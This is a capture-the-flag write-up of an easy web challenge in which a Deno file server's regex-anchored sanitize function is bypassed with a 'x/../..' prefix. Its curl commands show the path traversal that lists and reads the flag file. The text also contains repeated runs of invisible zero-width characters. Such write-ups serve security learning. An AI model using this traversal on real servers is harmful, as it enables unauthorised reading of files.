← Back to Writeups
CUSTOMEasyWeb

Fraga fisken

XESXOR9/10/20262 min read
#web#custom#easy#path_traversal_via_prefix#regex_anchor_bypass#linux

Fraga fisken

Platform: undutmaning | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-03-21 | Status: Solved Techniques: path_traversal_via_prefix, regex_anchor_bypass

Summary

English summary: A file server for "Piscis Cerebrum" research project stores fish brain activity interpretations. Source code is provided. Goal is to find the flag by exploiting the file server.

Fraga fisken — Undutmaning

Description

Harriet tycker det mesta känns jobbigt, men forskaren Rosetta Rödspätta har en idé.

Hon berättar om Piscis Cerebrum, ett forskningsprojekt där de försöker kommunicera med olika fiskarter för att kunna förstå dem. På en filserver sparar de tolkningar av hjärnaktiviteten hos fiskarna. Kanske har någon av fiskarna en lösning på de nuvarande problemen...

Rosetta har även tillgång till webinterfacets källkod, vilket kanske kan underlätta.

Kan du hjälpa Harriet att leta?

Filserverns webinterface kör på https://undutmaning-fraga-fisken.chals.io ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A file server for "Piscis Cerebrum" research project stores fish brain activity interpretations. Source code is provided. Goal is to find the flag by exploiting the file server.

Analysis

The provided TypeScript source code reveals a Deno-based file server with two endpoints:

  • /list-dir?path= - lists files in a directory
  • /read-file?path= - reads file contents

The critical vulnerability is in the sanitize function:

typescript
function sanitize(path: string) {
  return path.replaceAll(/^\.\./g, "");
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The regex ^\.\./g uses the ^ anchor, which means it only matches .. at the beginning of the string. This allows bypassing the filter by prefixing the path traversal with any character.

Key observations:

  1. The ^ anchor restricts matching to string start only
  2. replaceAll with this pattern will never match .. in the middle of a string
  3. Path like x/../.. passes through unchanged because .. is not at position 0

Solution

Step 1: Explore the file server

bash
# List files in base directory
curl "https://undutmaning-fraga-fisken.chals.io/list-dir?path="
# Returns: babelfisk, delfin, tigerhaj
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Read the fish files
curl "https://undutmaning-fraga-fisken.chals.io/read-file?path=babelfisk"
# "Likadan behöver inte vara samma ... Same same but different" and "up arrows"

curl "https://undutmaning-fraga-fisken.chals.io/read-file?path=delfin"
# "Ajöss och tack för fisken!" (Hitchhiker's Guide reference)

curl "https://undutmaning-fraga-fisken.chals.io/read-file?path=tigerhaj"
# "Det här är mitt revir - du har inte här nere att göra!"

Step 2: Bypass the sanitize filter

Since sanitize() only removes .. at the start, use a prefix to bypass: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

bash
# Traverse up directories using x/.. prefix
curl "https://undutmaning-fraga-fisken.chals.io/list-dir?path=x/../../.."
# Returns: flaggfisk

Step 3: Read the flag

bash
curl "https://undutmaning-fraga-fisken.chals.io/read-file?path=x/../../../flaggfisk"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍